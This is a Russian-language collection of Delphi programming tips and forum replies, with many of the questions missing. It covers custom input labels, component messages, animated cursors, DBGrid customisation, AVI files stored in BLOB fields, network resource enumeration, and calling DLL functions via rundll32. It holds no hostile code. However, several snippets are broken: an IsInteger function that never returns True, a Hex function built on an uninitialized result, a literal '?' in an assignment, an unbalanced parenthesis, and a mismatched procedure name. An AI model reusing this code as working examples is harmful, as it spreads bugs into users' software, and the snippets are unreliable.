могут получать символы, вводимые с клавиатуры. Давайте рассмотрим шаги, которые были предприняты мной для разработки
данного компонента.
Первый шаг, это кнопка, которая может отображать вводимый текст:
type
TInputButton = class(TButton)
private
procedure WmChar (var Msg: TWMChar);
message wm_Char;
end;
procedure TInputButton.WmChar (var Msg: TWMChar);
var
Temp: String;
begin
if Char (Msg.CharCode) = #8 then
begin
Temp := Caption;
Delete (Temp, Length (Temp), 1);
Caption := Temp;
end
else
Caption := Caption + Char (Msg.CharCode);
end;
С меткой (label) дела обстоят немного сложнее, так как прийдётся создать некоторые ухищрения, чтобы обойти её внутреннюю
структуру. Впринципе, проблему можно решить созданием других скрытых компонент (кстати, тот же edit box). Итак, посмотрим на
объявление класса:
type
TInputLabel = class (TLabel)
private
MyEdit: TEdit;
procedure WMLButtonDown (var Msg: TMessage);
message wm_LButtonDown;
protected
procedure EditChange (Sender: TObject);
procedure EditExit (Sender: TObject);
public
constructor Create (AOwner: TComponent); override;
end;
Когда метка (label) создана, то она в свою очередь создаёт edit box и устанавливает несколько обработчиков событий для него.
Фактически, если пользователь кликает по метке, то фокус перемещается на (невидимый) edit box, и мы используем его события для
обновления метки. Обратите внимание на ту часть кода, которая подражает фокусу для метки (рисует прямоугольничек), основанная
на API функции DrawFocusRect:
constructor TInputLabel.Create (AOwner: TComponent);
begin
inherited Create (AOwner);
MyEdit := TEdit.Create (AOwner);
MyEdit.Parent := AOwner as TForm;
MyEdit.Width := 0;
MyEdit.Height := 0;
MyEdit.TabStop := False;
MyEdit.OnChange := EditChange;
MyEdit.OnExit := EditExit;
end;
procedure TInputLabel.WMLButtonDown (var Msg: TMessage);
begin
MyEdit.SetFocus;
MyEdit.Text := Caption;
(Owner as TForm).Canvas.DrawFocusRect (BoundsRect);
end;
procedure TInputLabel.EditChange (Sender: TObject);
begin
Caption := MyEdit.Text;
Invalidate;
Update;
(Owner as TForm).Canvas.DrawFocusRect (BoundsRect);
end;
procedure TInputLabel.EditExit (Sender: TObject);
begin
(Owner as TForm).Invalidate;
end;
Для добавления компоненты в форму в run-time требуется выполнить следующие шаги:
1) объявите переменную типа Вашей компоненты:
var
RTlabel : TLabel;
2) требуется учесть тот факт, что если у компоненты определен Owner,то компонента будет уничтожаться вместе с ним, в противном
случае,Вам придется это делать вручную, вызывая ее метод Free. В качестве Parent Вы должны присвоить ту форму (или
компоненту), в которую требуется вставить Ваш run-time элемент.
begin
RTlabel:=TLabel.Create(MyOwner);
RTlabel.Parent:=MyParent; { в методе формы - RTlabel.Parent:=Self }
RTlabel.Caption:='Run-time instance of TLabel';
RTlabel.Visible:=true;
end;
TComponent - предок для невизуальных компонентов
TWinControl - предок для визуальных компонентов, которым нужен Handel окна
TGraphicControl - предок для визуальных компонентов, котрым НЕ нужен Handel окна
TCustomControl - наиболее общий предок для визуальных компонентов
Вам нужно создать свой собственный класс, который взаимодействует с сообщением CM_DESIGNHITTEST.
TMyScrollBar = class (TScrollBar)
Procedure CMDesignHitTest (var Message : TCMDesignHitTest) ;
Message CM_DESIGNHITTEST ;
End ;
Procedure TMyScrollBar.CMDesignHitTest (var Message : TCMDesignHitTest) ;
Begin
Message.Result := 1;
End ;
Когда нужно создать один или несколько scroll то используйте
TMyScrollBar.Create (Nil)
вместо
TMyScrollBar.Create (Self)
иначе scroll bar будет менять при кликании. Это означает, что вы должны обязательно вызвать метод free в деструкторе вашего
компонента самостоятельно.
=== 1 ===
Если вы имеете в виду иконку на палитре компонентов, то создайте bitmap в ресурсном файле с расширением .dcr.Размер должен
быть 24 на 24 пикселя
=== 2 ===
IMPORTANT NOTE
================
Несмотря на то, что документация по Дельфи говорит, что имя ресурса не является чуствительным к регистру букв
"The resource names are not case-sensitive, but by convention, they are usually in upper case letters".
на самом деле, это работает только если имя указано ЗАГЛАВНЫМИ буквами
=== 2 ===
Примечание 3
имя иконки должно быть тоже самое, что и у компонента
Используйте метод FindComponent , который есть у всех компонент -"контейнеров":
=== 1 ===
var
Target: TComponent;
begin
Target := FindComponent('Button1');
TButton(Target).SetFocus;
end;
=== 2 ===
делается так:
(FindComponent('Button1') AS TButton).Caption := 'Vasya Pupkin';
Я пытался использовать SendMessage но у Speedbuttons нет "handle"
Ответ:
В примере используется метод Perform класса TControl для отправки сообщения.
Пример:
procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
ShowMessage('clicked');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
SpeedButton1.Perform(WM_LBUTTONDOWN, 0, 0);
SpeedButton1.Perform(WM_LBUTTONUP, 0, 0);
end;
Если вы имеете опубликованное свойство DragMode и установили его в dmAutomatic,
то возможно ваш орган думает, что он находится в состоянии буксировка (dragging) но это не так.
В модуле CONTROLS.PAS есть локальная переменная DragControl которая указывет на орган,
который в дданный момент буксируется.
Возможно по некоторым причинам данная переменная не очищена и поэтому процедура
WndProc класса TWinControls игнорирует все сообщения.
Как можно определить в обработчике MenuItem для PopupMenu,
на какой компоненте было произведено нажатие правой кнопки мыши?
Для этого нужно воспользоваться свойством PopupMenu.PopupComponent, например:
procedure TForm1.PopupItem1Click(Sender: TObject);
begin
Label1.Caption := PopupMenu1.PopupComponent.ClassName;
end;
Сообщения компонента подобны сообщениям Windows за исключением того, что они используются для оповещения о событиях
связанных с компонентами Delphi.
Если вы имеете опубликованное свойство Font то вы должны перерисовать все субсвойства, которые изменятся. Изменение саоства
Font не обязательно генерирует сообщение Windows но контроль обязан знать об изменении.
Книга "Secrets of Delphi 2.0" дает описание различных компонентных сообщений.
Ниже список некоторых сообщений. Сооьщения с пометкой "Notification Only" не передают никакой информации и обработчик не
возрает никакой информации также.
CM_ACTIVATE (Notification Only)
Форма посылает сообщение когда становится активной.
CM_CTL3DCHANGED (Notification Only)
При изменении свойства CTL3D.
CM_DESIGNHITTEST
Параметр: TCMDesignHitTest
Возврат: или 0 или 1
Данное сообщение посылается, когда когда мышка над контролем.
Возвращает 1 если контроль хочет обрабатывать сообщения мышки в design mode.
Если возращается 0 то Delphi обрабатывает сообщение. Если орган возвращает 1 все время, то popup меню никогда не появится.
Если орган не обрабатывает данное сообщение или возвращает 0 все время то орган не сможет реагировать сообщения мышки в
design mode.
CM_FONTCHANGED (Notification Only)
Посылается органу, когда изменяется свойство font.
CM_FONTCHANGE (Notification Only)
Орган посылает данное сообщение когда принимает сообщение WM_FONTCHANGE
CM_PARENTCTL3DCHANGED (Notification Only)
Посылается все подчиненным органам когда parent (не Owner) принимает сообщение CM_CTL3DCHANGED. Данное сообщение
посылается также когда орган получает другого хозяина (parent).
CM_PARENTCOLORCHANGED (Notification Only)
Орган посылает данно соообщение когда значение ParentColor изменяется. Данное сообщение также посылается когда орган читает
форму из потока или получает другого хозяина (parent).
CM_PARENTFONTCHANGED (Notification Only)
Посылается всем подчиненным компонентам когда хозяин (parent не Owner) принимает сообщение CM_FONTCHANGED. Данное
сообщение также посылается когда орган читает из потока или получает нового хозяина (parent).
CM_PARENTSHOWHINTCHANGED (Notification Only)
Орган посылает данное сообщение когда значение его свойства ParentShowHint изменяется. Данное сообщение посылается также
когда орган читает из потока или получает нового хозяина (parent).
CM_WININICHANGE
Параметр: Так как и для WM_WININICHANGE
Возврат: Нет
Орган посылает данное сообщение когда принимает сообщение WM_WININICHANGE.
если есть уверенность в том, что кодировка либо OEM либо ANSII, то определить OEM можно по наличию в тексте
некоторых
символов, которых нет в ANSII:
if(byte>=0x80 && byte<=0xA7) return OEM;
if(byte>=0xA9 && byte<=0xAF) return OEM;
Второй способ:
CONST HEX : ARRAY['A'..'F'] OF INTEGER = (10,11,12,13,14,15);
VAR str : String;
Int,
i : integer;
BEGIN
READLN(str);
Int := 0;
FOR i := 1 TO Length(str) DO
IF str[i] < 'A' THEN
Int := Int * 16 + ORD(str[i]) - 48
ELSE
Int := Int * 16 + HEX[str[i]];
WRITELN(Int);
READLN;
END.
Используйте такую функцию:
const
Digits : array[0..$F] of Char = '0123456789ABCDEF';
function Hex(B : Byte) : string;
begin
Result := Result + Digits[B shr 4];
Result := Result + Digits[B and $F];
end;
Нужно использовать приведение типов. Хорошим примером может служить последний параметр Windows API функции
SendMessage(). В документации он приведен как требующий тип LongInt, но часто требует тип PChar для некоторых сообщений
(например, WM_WININICHANGE). Обычно для приведения оба типа должны быть одного размера. В примере с функцией
SendMessage() Вы можете привести тип PChar к типу LongInt, так как они оба занимают 4 байта в памяти.
Пример:
var s : array[0..64] of char;
begin StrCopy(S, 'windows');
SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S));
end;
Функция Round() округляет дробные числа "банковсим способом", т.е. дробная часть 0.5 округляется до ближайшего четного числа
(1.5 = 2, а 2,5 = 2). Хотелось бы округлять числа стандартным методом, когда числа с дробной частью меньше 0.5 округлялись бы
вниз, а равной или большей 0.5 - вверх.
Пример такой функции:
function RoundUp(X: Extended): Extended;
begin
Result := Trunc(X) + Trunc (Frac(X) * 2);
end;
function IsInteger(TestThis: String): Boolean;
begin
try
StrToInt(TestThis);
except
on EConvertError do
result := False;
else
result := True;
end;
end;
Значения этих чисел приблизительные и их нельзя сравнивать напрямую.
Вместо это вычтите одно число из другого и если разница между ними ничтожна, то они равны.
if abs(d1-d2) < 0.00001 then
ShowMessage('D1 and D2 are equal');
Используем функцию SetForegroundWindow() и Timer, интервал
которого установлен в значение, которое вам нужно будет подобрать... :-))
procedure TForm1.Timer1Timer(Sender: TObject);
var
p: TPoint;
begin
GetCursorPos(p);
SetForegroundWindow(WindowFromPoint(p));
end;
Как запретить показ курсора в TEdit и ему подобных контролах ?
Создайте своего потомка с обработчиками:
procedure WMPaint(var Msg: TMessage); message WM_Paint;
procedure WMSetFocus(var Msg: TMessage); message WM_SetFocus;
procedure WMNCHitTest(var Msg: TMessage); message WM_NCHitTest;
в которых вызывайте:
inherited;
HideCaret(Handle);
Как использовать анимированный курсор?
Ответ:
Во первых необходимо получит handle курсора, а затем определить его в массиве курсоров компонента TScreen. Индексы
предопределенных курсоров системы отрицательны, пользователь может определить курсор, индекс которого положителен.
Пример:
procedure TForm1.Button1Click(Sender: TObject);
var
h : THandle;
begin
h := LoadImage(0, 'C:\TheWall\Magic.ani', IMAGE_CURSOR, 0, 0, LR_DEFAULTSIZE or
LR_LOADFROMFILE);
if h = 0 then
ShowMessage('Cursor not loaded')
else
begin
Screen.Cursors[1] := h;
Form1.Cursor := 1;
end;
end;
=== 1 ===
Делается это так:
var MousePos : TMouse;
begin
X := MousePos.CursorPos.x;
Y := MousePos.CursorPos.y;
end;
=== 2 ===
fred (19.05.00 02:30)
1) Форма активна и открыта функцией ShowModal.
Необходимо выполнить некоторые действия когда курсор мыши находится за границами формы и нажимается
кнопка мыши. Существует ли возможность отловить это событие. (Было предложение с борландовкого сайта
использовать свойство TControl.MouseCapture. Я пробовал - ничего не получилось)
2) Подскажите адрес аналогичной конференции по CBuilder.
2VS - Vlastin_SV@irkutskgiprodor.ru (27.07.00 06:05)
Мне кажеться что такое в принципе противоречит системе Windows потому как когда в приложении открываеться
модальная форма, то очередь собщений приложения заменяеться очередью сообщений открытого модального окна
и получается, что система обрабатывает только одно окно приложения.
maestro - maestro@bashneft.ru (27.07.00 13:41)
Кажется где-то читал, что до того как сообщение попадет в очередь контрола, оно попадает в системную очередь
Windows. Вот если вклинить свой обработчик в эту очередь, то в принципе можно отловить любое сообщение для
любого работающего приложения. Попробуй поэксперементировать с GetWindowLong и SetWindowLong. Кстати в
RXLib есть компонент, RxWindowHooker кажется, там можно посмотреть как этот метод применяется на практике.
А метод с MouseCapture должен работать
Hordi - iqsoft@news.cg.ukrtel.net (28.07.00 01:24)
В принципе, можно организовать новый поток и перед выводом модального окна его вызвать. Это позволяет
проводить любую фоновую работу, в том числе и отслеживать позицию курсора
Можно использовать функцию GetCapture() из Windows API.
Примечание: Cм. документацию Windows для информации об ограничениях функции GetCapture.
Пример:
procedure TForm1.FormDeactivate(Sender: TObject);
begin ReleaseCapture; end;
procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
begin
If GetCapture = 0 then SetCapture(Form1.Handle);
if PtInRect(Rect(Form1.Left,Form1.Top,Form1.Left + Form1.Width, Form1.Top + Form1.Height), ClientToScreen(Point(x, y))) then
Form1.Caption := 'Мышка над формой!' else Form1.Caption := 'Мышка вне формы...';
end;
=== 1 ===
Сперва Вы должны взять хэндл курсора Windows и присвоить его одному из
элементов массива Cursors обьекта Screen.
Предопределенные курсоры имеют отрицательный индекс, а определенные
пользователем (Вами) курсоры получают положительные индексы.
Ниже пример формы, использующей анимированный курсор:
procedure TForm1.Button1Click(Sender: TObject);
var
h : THandle;
begin
h := LoadImage(0,
'C:\TheWall\Magic.ani',
IMAGE_CURSOR,
0,
0,
LR_DEFAULTSIZE or
LR_LOADFROMFILE
);
if h = 0 then ShowMessage('Курсор не загружен')
else
begin
Screen.Cursors[1] := h;
Form1.Cursor := 1;
end;
end;
=== 2 ===
В этой статье вы найдёте несколько способов использования собственных
курсоров, в том числе и анимированных.[это файлы с расширением.ani]
Например, у вас есть какой-то файл с расширением .ani и вы хотите его
задействовать.
Всё, что вам для этого потребуется сделать, это - поместить файл в тот же
каталог, где будет ваш exe, а затем написать следующий код, ну,
скажем, по нажатию на кнопку:
Screen.Cursors[5] := LoadCursorFromFile('File.ani');
Screen.Cursor := 5;
Здесь используется свойство Cursors глобального объекта Screen. В нём
содержится список курсоров, доступных приложению. По индексу в
нужную позицию мы загружаем курсор из файла. А затем с помощью
свойства Cursor задействуем его. Если же вы имеете файл ресурсов,
тогда дела будут обстоять иначе:
Помещаете этот файл в тот же каталог, что и exe. Затем в модуле
объявляем глобальную константу, например после
var Form1: TForm1;
Выглядетьэто будет примерно так:
var
Form1: TForm1;
const
MyConst = 100;
С помощью этой константы мы зарезервируем новую позицию в свойстве Cursors
глобального объекта Screen. После чего подключаем файл ресурсов, т.е. если он у нас
называется Cursors.res, тогда после
{$R *.DFM}
напишем
{$R Cursors.res} Затем, допустим, по нажатию на кнопку пишем код:
Screen.Cursors[MyConst] := LoadCursor(hInstance,'MYCURSOR');
Screen.Cursor := MyConst;
Здесь 'MYCURSOR' - это имя курсора, который нам необходимо загрузить.
Обратите внимание, если вы создаёте файл ресурсов самостоятельно, а сделать
это можно с помощью утилиты "ImageEditor", вам необходимо в именах курсоров
использовать только прописные буквы.
В вашем обработчике OnMouseMove сделайте следующее:
if (y<>0) and (lockY) then begin
GetMouseCoords(NewX,NewY);
NewY := NewY + y; {or should that be minus?}
SetMouseCoords(NewX,NewY);
end;
Переменная lockY определяет желаете ли вы подобное поведение курсора или нет.
На DataSource, к которому прицеплен Grid, вешаю обработчик на событие OnStateChange.
Ниже текст типичного обратчика -
if DBGrid1.DataSource.DataSet.State in [dsEdit, dsInsert] then
DBGrid1.Options := DBGrid1.Options + goRowSelect
else
DBGrid1.Options := DBGrid1.Options - goRowSelect;
Дело в том, что если у Grid'а стоит опция goRowSelect, то из Grid'а невозможно добавить запись. Ну а когда програмно вызываешь
редактирование или вставку, то курсор принимает обычный вид и все Ok.
В обработчике OnCellClick вашего TDBGrid, напишите следующее:
keybd_event(VK_F2,0,0,0);
keybd_event(VK_F2,0,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0,0,0);
keybd_event(VK_DOWN,0,0,0);
keybd_event(VK_DOWN,0,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
Это то же самое, что нажать F2, а затем Alt+Стрелка Вниз.
Это маленькая вставка в Ваш наследник от TCustomDBGrid, которая решает данную задачу.
// DBGRIDEX.PAS
// ----------------------------------------------------------------------------
-
destructor TDbGridEx.Destroy;
begin
_HideColumnsValues.Free;
_HideColumns.Free;
inherited Destroy;
end;
// ----------------------------------------------------------------------------
constructor TDbGridEx.Create(Component : TComponent);
begin
inherited Create(Component);
FFreezeCols := ?;
_HideColumnsValues := TList.Create;
_HideColumns := TList.Create;
end;
// ----------------------------------------------------------------------------
procedure TDbGridEx.KeyDown(var Key: Word; Shift: TShiftState);
begin
if (Key = VK_LEFT) then ColBeforeEnter(-1);
if (Key = VK_RIGHT) then ColBeforeEnter(1);
inherited;
end;
// ----------------------------------------------------------------------------
procedure TDbGridEx.SetFreezeColor(AColor : TColor);
begin
InvalidateRow(0);
end;
// ----------------------------------------------------------------------------
procedure TDbGridEx.SetFreezeCols(AFreezeCols : Integer);
begin
FFreezeCols := AFreezeCols;
InvalidateRow(0);
end;
// ----------------------------------------------------------------------------
procedure TDbGridEx.ColEnter;
begin
ColBeforeEnter(0);
if Assigned(OnColEnter) then OnColEnter(Self);
end;
// ----------------------------------------------------------------------------
procedure TDbGridEx.ColBeforeEnter(ADelta : Integer);
var
nIndex : Integer;
function ReadWidth : Integer;
var
i : Integer;
begin
i := _HideColumns.IndexOf(Columns[nIndex]);
if i = -1
then result := 120
else result := Integer(_HideColumnsValues[i]);
end;
procedure SaveWidth;
var
i : Integer;
begin
i := _HideColumns.IndexOf(Columns[nIndex]);
if i <> - 1 then
begin
_HideColumnsValues[i] := Pointer(Columns[nIndex].Width);
end else
begin
_HideColumns.Add(Columns[nIndex]);
_HideColumnsValues.Add(Pointer(Columns[nIndex].Width));
end;
end;
begin
for nIndex := 0 to Columns.Count - 1 do
begin
if (Columns[nIndex].Width = 0) then
begin
if (nIndex + 1 <= FreezeCols) or (nIndex >= SelectedIndex + ADelta)
then Columns[nIndex].Width := ReadWidth;
end
else
begin
SaveWidth;
if (nIndex + 1 > FreezeCols) and
(nIndex < SelectedIndex + ADelta) and
(nIndex + 1 < Columns.Count) and
(FreezeCols > 0)
then Columns[nIndex].Width := 0;
end;
end;
end;
Q: Как узнать доступные сетевые pесуpсы?
A: type
PNetResourceArray = ^TNetResourceArray;
TNetResourceArray = array[0..MaxInt div SizeOf(TNetResource) - 1] of TNetResource;
Procedure EnumResources(LpNR:PNetResource);
Var
NetHandle: THandle;
BufSize: Integer;
Size: Integer;
NetResources: PNetResourceArray;
Count: Integer;
NetResult:Integer;
I: Integer;
NewItem:TListItem;
Begin
If WNetOpenEnum(
RESOURCE_GLOBALNET,
RESOURCETYPE_ANY,
// RESOURCETYPE_ANY - все ресурсы
// RESOURCETYPE_DISK - диски
// RESOURCETYPE_PRINT - принтеры
0,
LpNR,
NetHandle) <> NO_ERROR
then Exit;
Try
BufSize := 50 * SizeOf(TNetResource);
GetMem(NetResources, BufSize);
Try
while True do
begin
Count := -1;
Size := BufSize;
NetResult := WNetEnumResource(NetHandle, Count, NetResources, Size);
If NetResult = ERROR_MORE_DATA then
begin
BufSize := Size;
ReallocMem(NetResources, BufSize);
Continue;
end;
if NetResult <> NO_ERROR then Exit;
For I := 0 to Count-1 do
Begin
With NetResources^[I] do
Begin
If RESOURCEUSAGE_CONTAINER =
(DwUsage and RESOURCEUSAGE_CONTAINER)
then
EnumResources(@NetResources^[I]);
If dwDisplayType = RESOURCEDISPLAYTYPE_SHARE Then
// ^^^^^^^^^^^^^^^^^^^^^^^^^ - ресурс
// RESOURCEDISPLAYTYPE_SERVER - компьютер
// RESOURCEDISPLAYTYPE_DOMAIN - рабочая группа
// RESOURCEDISPLAYTYPE_GENERIC - сеть
Begin
NewItem:= Form1.ListView1.Items.Add;
NewItem.Caption:=LpRemoteName;
End;
End;
End;
End;
finally
FreeMem(NetResources, BufSize);
end;
finally
WNetCloseEnum(NetHandle);
end;
End;
procedure TForm1.Button1Click(Sender: TObject);
Var
OldCursor: TCursor;
begin
OldCursor:= Screen.Cursor;
Screen.Cursor:= crHourGlass;
With ListView1.Items do
Begin
BeginUpdate;
Clear;
EnumResource(nil);
EndUpdate;
End;
Screen.Cursor:= OldCursor;
end;
Вставьте следующий код в событии OnDrawDataCell:
Procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect;
Field: TField; State: TGridDrawState);
begin
If gdFocused in State then
with (Sender as TDBGrid).Canvas do
begin
Brush.Color := clRed;
FillRect(Rect);
TextOut(Rect.Left, Rect.Top, Field.AsString);
end;
end;
type
THackDBGrid = class(TCustomDBGrid);
DefaultDrawing:=False;
....
procedure TfrmCard.GridDrawColumnCell(Sender: TObject; constRect: TRect;
DataCol: Integer; Column: TColumn;
State: TGridDrawState);
var
Index : Integer;
Marked, Selected: Boolean;
begin
Marked := False;
if (dgMultiSelect in Grid.Options) and THackDBGrid(Grid).Datalink.Active then
Marked:=Grid.SelectedRows.Find(THackDBGrid(Grid).Datalink.Datasource.Dataset.Bookmark,Index);
Selected := THackDBGrid(Grid).Datalink.Active and (Grid.Row-1 = THackDBGrid(Grid).Datalink.ActiveRecord);
if Marked then
begin
Grid.Canvas.Brush.Color:=$DFEFDF;
Grid.Canvas.Font.Color :=clBlack;
end;
if Selected then
begin
Grid.Canvas.Brush.Color:=$FFFBF0;
Grid.Canvas.Font.Color :=clBlack;
if Marked then
Grid.Canvas.Brush.Color:=$EFE3DF; { $8F8A30 }
end;
Grid.DefaultDrawColumnCell(Rect, DataCol, Column, State);
end;
где
THackDBGrid = class(TDBGrid)
property DataLink;
property UpdateLock;
end;
Вы можете использовать метод OnDataChange компонента Datasource к которому подсоединен DBGrid. Если свойство State
равно dsBrowse то это означает переход на другую строки (или открытие таблицы).
Почему нет этого события у самого dbGrid? Потому что grid не единственный компонент в который используется для показа данных
из таблицы. Использование Datasource обеспечивает централизованное управление данным событием.
var
Col, Row: Integer;
procedure TForm1.MyDBGridDrawDataCell(Sender: TObject; const Rect: TRect;
Field: TField; State: TGridDrawState);
var
RowHeight: Integer;
begin
if gdFocused in State then
begin
RowHeight := Rect.Bottom - Rect.Top;
Row := (Rect.Top div RowHeight) - 1;
Col := Field.Index;
end;
end;
procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect;
Field: TField; State: TGridDrawState);
var
P : array [0..50] of char; {array size is number of characters needed}
BS : tBlobStream; {from the memo field}
S : String;
begin
If Field is TMemoField then begin
with (Sender as TDBGrid).Canvas do
begin
{Table1Notes is the TMemoField}
BS := tBlobStream.Create(Table1Notes, bmRead);
FillChar(P,SizeOf(P),#0); {terminate the null string}
BS.Read(P, 50); {read 50 chars from memo into blobStream}
BS.Free;
S := StrPas(P);
while Pos(#13, S) > 0 do {remove carriage returns and}
S[Pos(#13, S)] := ' '; {line feeds}
While Pos(#10, S) > 0 do
S[Pos(#10, S)] := ' ';
FillRect(Rect); {clear the cell}
TextOut(Rect.Left, Rect.Top, S); {fill cell with memo data}
end;
end;
end;
Можно узнать, что вводиться в DBGrid посмотрев в его компонент TInPlaceEdit.
procedure TForm1.DBGrid1KeyUp(Sender: TObject;
var Key: Word; Shift: TShiftState);
var
B: byte;
begin
for B := 0 to DBGrid1.ControlCount - 1 do
if DBGrid1.Controls[B] is TInPlaceEdit then
begin
with DBGrid1.Controls[B] as TInPlaceEdit do
begin
Label1.Caption := 'Text = ' + Text;
end;
end;
end;
var
Num: SmallInt;
begin
for Num := 0 to TableSource.FieldCount-1 do
begin
TableDest.Edit;
TableDest.Fields[Num].Assign(TableSource.Fields[Num];
TableDest.Post;
end;
end;
Avi файлы можно сохранить в полях BLOB. Проще всего проиграть Avi файл, сохраненный в BLOB, путем записи данных из BLOB
во временный файл, а затем проиграть его в мультимедийном проигрывателе.
var
FileName : string;
{Эта фунция получает имя временного файла из системы}
function GetTemporaryFileName : string;
{$IFNDEF WIN32}
const MAX_PATH = 144;
{$ENDIF}
var
{$IFDEF WIN32}
lpPathBuffer : PChar;
{$ENDIF}
lpbuffer : PChar;
begin
{Получаем буфер имени файла}
GetMem(lpBuffer, MAX_PATH);
{$IFDEF WIN32}
{Получаем буфер пути к временному файлу}
GetMem(lpPathBuffer, MAX_PATH);
{Получаем путь к временному файлу}
GetTempPath(MAX_PATH, lpPathBuffer);
{Получаем имя временного файла}
GetTempFileName(lpPathBuffer,
'tmp',
0,
lpBuffer);
{Освобождаем буфер пути к временному файлу}
FreeMem(lpPathBuffer, MAX_PATH);
{$ELSE}
{Получаем имя временного файла}
GetTempFileName(GetTempDrive('C'),
'tmp',
0,
lpBuffer);
{$ENDIF}
{Создаем строку, содержащую имя временного файла и возвращаем ее}
result := StrPas(lpBuffer);
{Освобождаем буфер имени файла}
FreeMem(lpBuffer, MAX_PATH);
end;
{Читаем Avi файл и записываем его в BLOB}
procedure TForm1.Button1Click(Sender: TObject);
var
FileStream: TFileStream; {для загрузки Avi файла}
BlobStream: TBlobStream; {Для сохранения в BLOB}
begin
{Разрешаем перерисовку кнопок}
Application.ProcessMessages;
{Отключить кнопки}
Button1.Enabled := false;
Button2.Enabled := false;
{Назначаем имя Avi файла для чтения}
FileStream := TFileStream.Create(
'C:\PROGRA~1\BORLAND\DELPHI~1\DEMOS\COOLSTUF\COOL.AVI',
fmOpenRead);
Table1.Edit;
{Создаем BlobStream для TField Table1AVI}
BlobStream := TBlobStream.Create(Table1AVI, bmReadWrite);
{Ищем начало потока}
BlobStream.Seek(0, soFromBeginning);
{Удаляем любые данные, которые могут быть в нем}
BlobStream.Truncate;
{Копируем данные из FileStream в BlobStream}
BlobStream.CopyFrom(FileStream, FileStream.Size);
{Освобождаем потоки}
FileStream.Free;
BlobStream.Free;
{Сохраняем запись}
Table1.Post;
{Делем кнопки доступными}
Button1.Enabled := true;
Button2.Enabled := true;
end;
{Читаем Avi файл из BLOB и проигрываем его}
procedure TForm1.Button2Click(Sender: TObject);
var
FileStream: TFileStream; {временный файл}
BlobStream: TBlobStream; {AVI Blob}
begin
{Создаем поток для AVI blob}
BlobStream := TBlobStream.Create(Table1AVI, bmRead);
if BlobStream.Size = 0 then begin
BlobStream.Free;
Exit;
end;
{Закрываем мультимедийный проигрываель}
MediaPlayer1.Close;
{Очищаем имя файла}
MediaPlayer1.FileName := '';
{Обновляем окно проигрывателя}
MediaPlayer1.Display := Panel1;
Panel1.Refresh;
{удаляем временный файл, если он существует}
if FileName <> '' then
DeleteFile(FileName);
{Получаем имя временного файла}
FileName := GetTemporaryFileName;
{Создаем временный поток}
FileStream := TFileStream.Create(FileName,
fmCreate or fmOpenWrite);
{Копируем BLOB во временный файл}
FileStream.CopyFrom(BlobStream, BlobStream.Size);
{Освобождаем потоки}
FileStream.Free;
BlobStream.Free;
{Настраиваем проигрыватель на AVI файл}
MediaPlayer1.FileName := filename;
MediaPlayer1.DeviceType := dtAviVideo;
MediaPlayer1.Open;
MediaPlayer1.Play;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
MediaPlayer1.Close;
MediaPlayer1.FileName := '';
{Удаляем временный файл}
if FileName <> '' then
DeleteFile(FileName);
end;
procedure TForm1.Table1BeforeDelete(DataSet: TDataset)
begin
with Table2 do begin
DisableControls;
First;
While not EOF do Delete;
EnableControls;
end;
end;
Таблица может быть создана с собственником или без.
Так как вы объявили это локальной процедурой, то она не может иметь собственника, в этом случае вы должны уничтожить ее
вручную, в остальных случаях собственник уничтожит таблицу сам.
Для создания таблицы без собственника используйте следующий код:
procedure CreateATableInAUnit;
var
myTable : TTable;
begin
myTable := TTable.Create(nil);
try
myTable.DatabaseName := 'MyDB';
myTable.TableName := 'MyTable.db';
mytable.IndexName := 'MyIndex';
myTable.Open;
{do stuff}
finally
myTable.Free;
end;
end;
""" Slava (24.05.00 13:53)
Как можно подключить dll`ку и как использовать её функции, да и ещё можно ли узнать, какие параметры нужно передавать функции
в dll`ке???
""" Mike Goblin - mgoblin@mail.ru (27.05.00 13:35)
По-разному
1. Статическое связывание
DLL клади или в папку Windows(чтобы путь туда был прописан) или в папку с exe.
Процедуры из DLL объяви как
procedure DoSomething; external 'MYLIB.DLL';
И вроде как все.
2. Динамическое ну тут API надо юзать:вот кусок из хелпа от дельфи:
uses Windows, ...;
type
TTimeRec = record
Second: Integer;
Minute: Integer;
Hour: Integer;
end;
TGetTime = procedure(var Time: TTimeRec);
THandle = Integer;var Time: TTimeRec;
Handle: THandle;
GetTime: TGetTime;
...
begin
Handle := LoadLibrary('DATETIME.DLL');
if Handle <> 0 then
begin
@GetTime := GetProcAddress(Handle, 'GetTime');
if @GetTime <> nil then
begin
GetTime(Time);
with Time do
WriteLn('The time is ', Hour, ':', Minute, ':', Second);
end;
FreeLibrary(Handle);
end;
end;
""" 2VS (27.07.00 06:30)
Могу добавить, что в стандарном наборе Дельфы всех версий есть консольная програмка ...\delphi\bin\TDUMP.EXE для исследования
библиотек с помощью которой мона просмотреть всю информацию по библиотеке штука хорошая только вот вываливает
информации вагон без описания трудновато понять что куда если интересно то могу выслать некоторую информацию по этой проге.
Вы должны определить в программе вызываемую снаружи функцию.
Функция должна быть __stdcall (или WINAPI, что то же самое ;)) и иметь
четыре аргумента. Первый - HWND окна, порождаемого rundll32 (можно использовать в качестве owner'а своих dialog box'ов),
второй - HINSTANCE задачи, третий - остаток командной строки (LPCSTR, даже под NT), четвертый - не знаю ;).
Hапример:
int __stdcall __declspec(dllexport) Test
(
HWND hWnd,
HINSTANCE hInstance,
LPCSTR lpCmdLine,
DWORD dummy
)
{
MessageBox(hWnd, lpCmdLine, "Command Line", MB_OK);
return 0;
}
rundll32 test.dll,_Test@16 this is a command line
выдаст message box со строкой "this is a command line".
Oleg Moroz
(2:5020/701.22)
Function Test(
hWnd: Integer;
hInstance: Integer;
lpCmdLine: PChar;
dummy: Longint
): Integer; StdCall; export;
begin
Windows.MessageBox(hWnd, lpCmdLine, 'Command Line', MB_OK);
Result := 0;
end;
Akzhan Abdulin
(2:5040/55)
Давненько я ждал эту инфоpмацию! Сел пpовеpять и наткнулся на очень забавную вещь.
А именно -- пусть у нас есть исходник на Си пpимеpно такого вида:
int WINAPI RunDll( HWND hWnd, HINSTANCE hInstance, LPCSTR lpszCmdLine, DWORD
dummy )
......
